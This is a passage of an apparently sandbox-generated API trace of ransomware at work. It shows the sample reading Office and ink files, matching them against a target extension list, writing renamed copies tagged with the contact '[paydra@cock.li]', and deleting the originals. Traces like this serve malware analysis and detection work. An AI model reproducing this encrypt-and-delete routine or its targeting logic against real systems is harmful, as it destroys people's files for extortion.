files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0036.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.060] lstrlenW (lpString=".doc") returned 4 [0036.060] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.060] lstrlenW (lpString=".docx") returned 5 [0036.060] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0036.061] lstrlenW (lpString=".pdf") returned 4 [0036.061] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.061] lstrlenW (lpString=".xls") returned 4 [0036.061] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.061] lstrlenW (lpString=".xlsx") returned 5 [0036.061] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0036.061] lstrlenW (lpString=".ppt") returned 4 [0036.061] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.061] lstrlenW (lpString=".zip") returned 4 [0036.061] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.061] lstrlenW (lpString=".rar") returned 4 [0036.061] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.061] lstrlenW (lpString=".bz2") returned 4 [0036.061] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.061] lstrlenW (lpString=".7z") returned 3 [0036.061] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.061] lstrlenW (lpString=".dbf") returned 4 [0036.061] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[paydra@cock.li].html")) returned 0 [0036.079] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[paydra@cock.li].html")) returned 0 [0036.079] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[paydra@cock.li].html")) returned 0 [0036.080] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[paydra@cock.li].html")) returned 0 [0036.590] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2600) returned 1 [0036.590] CloseHandle (hObject=0x1b0) returned 1 [0036.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0036.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.312] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=819) returned 1 [0037.312] CloseHandle (hObject=0x184) returned 1 [0037.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0037.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0037.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0037.313] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.313] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0037.313] GetLastError () returned 0x0 [0037.313] ReadFile (in: hFile=0x184, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x333, lpOverlapped=0x0) returned 1 [0037.315] WriteFile (in: hFile=0x19c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x340, lpOverlapped=0x0) returned 1 [0037.316] ReadFile (in: hFile=0x184, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.316] WriteFile (in: hFile=0x19c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0037.316] SetEndOfFile (hFile=0x19c) returned 1 [0037.316] CloseHandle (hObject=0x19c) returned 1 [0037.317] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.317] SetEndOfFile (hFile=0x184) returned 1 [0037.317] CloseHandle (hObject=0x184) returned 1 [0037.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0037.318] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0037.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0037.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0037.318] lstrlenW (lpString=".doc") returned 4 [0037.318] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.318] lstrlenW (lpString=".docx") returned 5 [0037.318] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0037.318] lstrlenW (lpString=".pdf") returned 4 [0037.318] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.318] lstrlenW (lpString=".xls") returned 4 [0037.318] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.318] lstrlenW (lpString=".xlsx") returned 5 [0037.318] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0037.318] lstrlenW (lpString=".ppt") returned 4 [0037.318] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0037.318] lstrlenW (lpString=".zip") returned 4 [0037.318] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.318] lstrlenW (lpString=".rar") returned 4 [0037.318] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.318] lstrlenW (lpString=".bz2") returned 4 [0037.318] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.318] lstrlenW (lpString=".7z") returned 3 [0037.318] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0037.318] lstrlenW (lpString=".dbf") returned 4 [0037.319] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0037.319] lstrlenW (lpString=".1cd") returned 4 [0037.319] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0037.319] lstrlenW (lpString=".jpg") returned 4 [0037.319] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0037.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0037.319] lstrlenW (lpString=".doc") returned 4 [0037.319] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.319] lstrlenW (lpString=".docx") returned 5 [0037.319] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0037.319] lstrlenW (lpString=".pdf") returned 4 [0037.319] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.319] lstrlenW (lpString=".xls") returned 4 [0037.319] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.319] lstrlenW (lpString=".xlsx") returned 5 [0037.319] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0037.319] lstrlenW (lpString=".ppt") returned 4 [0037.319] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0037.319] lstrlenW (lpString=".zip") returned 4 [0037.319] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.319] lstrlenW (lpString=".rar") returned 4 [0037.319] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.319] lstrlenW (lpString=".bz2") returned 4 [0037.319] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.319] lstrlenW (lpString=".7z") returned 3 [0037.319] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0037.319] lstrlenW (lpString=".dbf") returned 4 [0037.319] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0037.319] lstrlenW (lpString=".1cd") returned 4 [0037.319] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0037.320] lstrlenW (lpString=".jpg") returned 4 [0037.320] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.320] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0037.320] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0037.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0038.377] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5557) returned 1 [0038.377] CloseHandle (hObject=0x19c) returned 1 [0038.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0038.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0038.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0038.377] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.378] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0038.378] GetLastError () returned 0x0 [0038.378] ReadFile (in: hFile=0x19c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0038.698] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0038.700] ReadFile (in: hFile=0x19c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.700] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0038.700] SetEndOfFile (hFile=0x198) returned 1 [0038.700] CloseHandle (hObject=0x198) returned 1 [0038.701] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.701] SetEndOfFile (hFile=0x19c) returned 1 [0038.702] CloseHandle (hObject=0x19c) returned 1 [0038.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0038.702] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0039.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.464] lstrlenW (lpString=".doc") returned 4 [0039.464] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.464] lstrlenW (lpString=".docx") returned 5 [0039.464] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.464] lstrlenW (lpString=".pdf") returned 4 [0039.464] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.464] lstrlenW (lpString=".xls") returned 4 [0039.464] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.464] lstrlenW (lpString=".xlsx") returned 5 [0039.464] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.464] lstrlenW (lpString=".ppt") returned 4 [0039.464] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.465] lstrlenW (lpString=".zip") returned 4 [0039.465] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.465] lstrlenW (lpString=".rar") returned 4 [0039.465] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.465] lstrlenW (lpString=".bz2") returned 4 [0039.465] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.465] lstrlenW (lpString=".7z") returned 3 [0039.465] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.465] lstrlenW (lpString=".dbf") returned 4 [0039.465] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.465] lstrlenW (lpString=".1cd") returned 4 [0039.465] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.465] lstrlenW (lpString=".jpg") returned 4 [0039.465] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.465] lstrlenW (lpString=".doc") returned 4 [0039.465] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.465] lstrlenW (lpString=".docx") returned 5 [0039.465] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.465] lstrlenW (lpString=".pdf") returned 4 [0039.465] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.465] lstrlenW (lpString=".xls") returned 4 [0039.465] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.465] lstrlenW (lpString=".xlsx") returned 5 [0039.465] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.465] lstrlenW (lpString=".ppt") returned 4 [0039.465] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.466] lstrlenW (lpString=".zip") returned 4 [0039.466] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.466] lstrlenW (lpString=".rar") returned 4 [0039.466] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.466] lstrlenW (lpString=".bz2") returned 4 [0039.466] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.466] lstrlenW (lpString=".7z") returned 3 [0039.466] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.466] lstrlenW (lpString=".dbf") returned 4 [0039.466] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.466] lstrlenW (lpString=".1cd") returned 4 [0039.466] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.466] lstrlenW (lpString=".jpg") returned 4 [0039.466] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.466] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.466] lstrlenW (lpString="SETUP.XML") returned 9 [0039.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0040.031] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=9352) returned 1 [0040.031] CloseHandle (hObject=0x1c8) returned 1 [0040.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0040.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0040.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0040.031] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.031] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.031] GetLastError () returned 0x0 [0040.031] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x2488, lpOverlapped=0x0) returned 1 [0040.139] WriteFile (in: hFile=0x19c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0040.139] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.140] WriteFile (in: hFile=0x19c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, 